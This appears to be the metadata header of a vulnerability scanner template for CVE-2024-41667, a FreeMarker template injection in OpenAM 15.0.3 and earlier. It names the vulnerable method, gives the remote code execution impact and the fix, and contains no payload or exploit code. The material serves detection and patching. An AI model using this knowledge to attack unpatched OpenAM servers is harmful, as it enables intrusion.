OpenAM<=15.0.3 FreeMarker - Template Injection

id: CVE-2024-41667

info:
  name: OpenAM<=15.0.3 FreeMarker - Template Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    OpenAM is an open access management solution. In versions 15.0.3 and prior, the `getCustomLoginUrlTemplate` method in RealmOAuth2ProviderSettings.java is vulnerable to template injection due to its usage of user input
  impact: |
    Authenticated attackers can exploit template injection to execute arbitrary code on the OpenAM server.
  remediation: |
    Update OpenAM to a version later than 15.0.3 that patches the template injection vulnerability.
